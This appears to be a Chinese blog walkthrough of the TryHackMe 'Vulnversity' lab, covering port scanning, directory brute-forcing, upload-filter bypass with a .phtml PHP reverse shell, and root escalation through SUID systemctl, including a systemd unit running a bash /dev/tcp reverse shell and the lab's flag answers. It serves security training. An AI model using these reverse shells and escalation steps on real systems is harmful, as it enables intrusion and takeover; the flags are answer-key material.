美文网首页
Tryhackme vulnversity通关攻略

Tryhackme vulnversity通关攻略

作者: 静析机言 | 来源:发表于2023-09-27 17:50 被阅读0次

    开启虚拟机,启动openvpn进行连接。

    1、侦察

    首先需要检查系统开启了哪些端口

    nmap -sV 10.10.107.118

    根据上述结果,可以回答如下问题

    ——扫描盒子;有多少个端口是开放的?

    6

    ——计算机上运行的是哪个版本的squid proxy?

    3.5.12

    ——如果使用标志-p-400,Nmap将扫描多少个端口?

    400

    ——这台机器最有可能运行的操作系统是什么?

    ubuntu

    ——Web 服务器在哪个端口上运行?

    3333

    ——确保您在继续操作之前始终进行彻底的勘察至关重要。了解所有开放的服务(都可能成为利用点)非常重要,不要忘记更高范围的端口可能是开放的,因此不断扫描 1000 之后的端口(即使您在后台进行检查)。

    ——使用 Nmap 启用详细模式的标志是什么?

    -v

    2、使用gobuster暴力破解目录

    gobuster dir -uhttp://10.10.107.118:3333 -w/usr/share/wordlists/dirbuster/directory-list-1.0.txt  -t 50

    注:-t 50,增加gobuster运行的进程数,提高速度。

    根据执行结果,回答如下问题

    ——有上传表单页面的目录是什么?

    /internal/

    3、上传利用

    已经找到了上传文件的表单,我们可以利用它来上传并执行payload,这将导致网络服务器受到损害。

    通过运行Wappalyzer插件,知道网站使用的为PHP。

    我们上传.php文件,会被阻止。

    问题:

    ———您想要上传哪些常见文件类型来利用会服务器被阻止?

    .php

    现在,我们需要对上传表单进行模糊测试,以确定哪些扩展未被阻止。

    可使用burpsuite的intruder模块,对文件后缀进行枚举

    用来模糊测试的文件:phpext.txt内容如下

    执行intruder的结果如下

    回答问题:

    ——运行此攻击,允许什么扩展?

    .phtml

    现在我们上传PHP的反向shell文件,下载地址如下

    https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

    要远程访问此计算机,请按照下列步骤操作:

    1)编辑 php-reverse-shell.php 文件并将 ip 编辑为您的 tun0 ip(您可以通过在 TryHackMe 连接设备的浏览器中访问http://10.10.10.10来获取此信息)。

    2)将此文件重命名为php-reverse-shell.phtml

    3)我们现在将使用 netcat 监听传入连接。运行以下命令:nc -lvnp 1234

    4)上传您的 shell 并导航到http://10.10.227.252:3333/internal/uploads/php-reverse-shell.phtml  -这将执行您的有效负载

    您应该在 Netcat 会话上看到一个连接

    回答问题:

    ——管理网络服务器的用户名是什么?

    bill

    查看/home目录,发现了bill

    ——是用户标志什么?

    8bd7992fbe8a6ad22a63361004cfcedb

    4、权限提升

    已经入侵了这台机器,我们将升级权限并成为超级用户(root)。

    在Linux中,SUID(执行时设置所有者 userId)是赋予文件的一种特定类型的文件权限。SUID 向用户授予临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件。

    例如,用于更改密码的二进制文件设置了 SUID 位(/usr/bin/passwd)。这是因为要更改您的密码;它将需要写入您无权访问的 Shadowers 文件,而 root 可以;因此它具有 root 权限来进行正确的更改。

    搜索所有 SUID 文件

    find / -user root -perm -4000 -print 2>/dev/null

    回答问题:

    ——在系统上,搜索所有 SUID 文件。哪个文件脱颖而出?

    /bin/systemctl

    ——挑战时间到了!到目前为止,我们已经引导您完成了。你能进一步利用这个系统来提升你的权限并得到最终的答案吗?

    成为 root 并获取最后一个标志(/root/root.txt)

    a58ff8579f0a9270368d33a9966c7fd5

    获取/root/root.txt有两种方法,分别描述如下

    第一种方法:

    创建一个名为root.service文件,内容如下,需要改IP地址。

    [Unit]

    Description=root

    [Service]

    Type=simple

    User=root

    ExecStart=/bin/bash-c 'bash -i >& /dev/tcp/10.XX.XX.XX/4444 0>&1'

    [Install]

    WantedBy=multi-user.target

    在入侵机器上下载root.service文件到/tmp目录。启动start.service

    systemctlenable /tmp/root.service

    systemctl start root

    本机监听4444端口,一旦入侵机启动了root.service就能获得反向连接了。从而获取/root/root.txt内容。

    第二种方法:

    仿照GTFOBins中的做法

    https://gtfobins.github.io/gtfobins/systemctl/

    稍加修改:

    1)将执行语句改为读取/root/root.txt的内容

    2)systemctl需要带上绝对路径

    TF=$(mktemp).service

    echo '[Service]

    Type=oneshot

    ExecStart=/bin/sh-c "cat /root/root.txt > /tmp/output"

    [Install]

    WantedBy=multi-user.target'> $TF

    /bin/systemctllink $TF

    /bin/systemctl

    enable --now $TF

    在受害机上执行如下,/tmp/output即为/root/root.txt的内容。

    相关文章

      网友评论

          本文标题:Tryhackme vulnversity通关攻略

          本文链接:https://www.haomeiwen.com/subject/covkbdtx.html